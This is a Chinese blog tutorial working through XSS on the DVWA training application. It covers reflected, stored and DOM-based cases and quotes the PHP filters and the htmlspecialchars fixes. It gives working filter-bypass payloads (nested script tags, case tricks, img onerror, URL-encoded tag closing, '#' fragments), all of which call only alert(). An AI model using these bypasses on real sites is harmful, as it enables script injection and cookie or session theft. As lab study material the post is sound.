CTF练习解析

XSS学习

2019-04-19  本文已影响5人  追求科技的足球

今天开始学习XSS,from看雪论坛
一、XSS原理
XSS:“Cross Site Scripting”、“跨站脚本攻击”
是一种注入攻击的方式,如果攻击者在网页中写入恶意的脚本代码(HTML、JavaScript),当web应用对用户过滤不严格时,一旦用户访问恶意代码页面,浏览器就会执行导致用户被攻击。
常见危害:cookie窃取,session劫持,钓鱼攻击,蠕虫,ddos等。

二、XSS分类
1、反射性xss(非持久型xss):
一般出现在URL参数及网站搜索栏中,需要点击包含恶意代码的URL才能触发,且仅能触发一次
2、存储形xss(持久型xss):
一般出现在网站留言板、评论区、个人资料处等用户可以对网站进行写入的地方。如果论坛评论区对用户输入过滤不严格,攻击者写一段恶意代码到评论区发表,代码就会写入数据库,当其他用户浏览界面时,网站从数据库中读取恶意代码并执行,就可以通过恶意代码窃取cookie等,无需密码就可以登陆账户。存储型xss危害比反射型大很多
3、dom型xss:
基于dom文档对象模型,前端脚本通过dom修改动态页面,dom不与服务端进行交互,而且代码是可见的,从前端获取dom中的数据在本地执行。常见的可以操纵dom的对象:URL、localtion、referrer等

三、代码实例分析
采用DVWA(Dam Vulnerable Web Application)是使用PHP+MySql编写用于常规WEB漏洞教学和检测的WEB脆弱性测试程序,包含了SQL注入、XSS、盲注等常见的一些安全漏洞。官网http://www.dvwa.co.uk
1、反射型xss
(1)low

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )

未对name进行任何编码和过滤,导致可以直接执行

<script>alert(/xss/)</script>

(2)medium
对name进行了编码,对输入的<script>标签进行替换为空

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

可以采用:
①过滤中间的<script>

<scrip<script>t>alert(/xss/)</script>

②构造别的标签

<img src=0 onerror=alert(/xss1/)>

③大小写绕过

<scRipt>alert(/xss2/)</sCript>

(3)high
执行一个正则表达式的搜索和替换,这时候不论是大小写、双层<script>都无法绕过

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

此时可以使用别的标签,如<image>

<img src=0 onerror=alert(/xss/)>

(4)安全代码
使用Htmlspecialchars方法将用户输入的特殊字符转换为 HTML 实体,< > “ ‘ &等字符会被转换,于是不存在xss漏洞。

$name = htmlspecialchars( $_GET[ 'name' ] );

2、存储型xss
(1)low
①把用户输入的数据,使用trim去除字符串首尾处的空白字符(或者其他字符)。
②stripslashes方法返回一个去除转义反斜线后的字符串(' 转换为 ' 等等),双反斜线()被转换为单个反斜线()。
③mysqli_real_escape_string对字符串特殊符号n r ‘ “ 等进行转义
最终未对用户输入数据进行xss检测编码,直接写入到数据库中,于是造成存储型xss漏洞。

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
$message = stripslashes( $message );
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

利用

<script>alert(/xss/)</script>

可以直接写入文本框
(2)medium
添加了:

$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

Message由于使用了htmlspecialchars方法对用户输入数据进行编码转换,因此不存在xss漏洞。
但是name由于仅仅用了str_replace方法把<script>替换为空,因此可以采用:
①过滤中间的<script>

<scrip<script>t>alert(/xss/)</script>

②构造别的标签

<img src=0 onerror=alert(/xss1/)>

③大小写绕过

<scRipt>alert(/xss2/)</sCript>

(3)high
添加了:

$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

preg_replace执行一个正则表达式的搜索和替换,此时可以使用别的标签<img> <a> <iframe>等,如:

<img src=0 onerror=alert(/xss/)>

(4)安全
添加使name和message都使用了htmlspecialchars方法,于是此处不存在xss漏洞。

$message = htmlspecialchars( $message );
$name = htmlspecialchars( $name )

3、dom型xss
(1)low(未做安全检查):

<?php
# Don't need to do anything, protction handled on the client side
?>

未做任何安全检查,因此可以直接构造攻击:

?default=English%3Cscript%3Ealert(1)%3C/script%3E

其中%3C是<,%3E是>的转码,因为浏览器会自动解码。

(2)medium

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default']; 
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
?>
<p>Please choose a language:</p>
 
<form name="XSS" method="GET">
    <select name="default">
        <script>
            if (document.location.href.indexOf("default=") >= 0) {
                var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
                document.write("<option value='' disabled='disabled'>----</option>");
            }
 
            document.write("<option value='English'>English</option>");
            document.write("<option value='French'>French</option>");
            document.write("<option value='Spanish'>Spanish</option>");
            document.write("<option value='German'>German</option>");
        </script>
    </select>
    <input type="submit" value="Select" />
</form>

函数解析:

array_key_exists():检查数组里是否有指定的键名或索引
stripos():返回default中字符串<script首次出现的位置(不区分大小写),如果未发现返回false。

因此default要有数值且<script>标签不可用,可以使用<img>等别的标签,先闭合</option>和</select>。

攻击:

?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=%27x%27%20onerror=%27alert(1)%27%3E

(3)high:

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?>

需要不满足case,进入default语句,即?default=English设置#字符,因为#之后的字符串不会被发送到服务器上,如下:

?default=English#<script>alert(1)</script>

断断续续写了好几天,终于写好了,不容易,差不多也总结了这几种攻击方式:大小写绕过、双写绕过、伪造标签,还是很实用的。

参考感谢:
(1)https://www.freebuf.com/articles/web/123779.html
(2)https://www.kanxue.com/book-6-38.htm

上一篇下一篇

猜你喜欢

热点阅读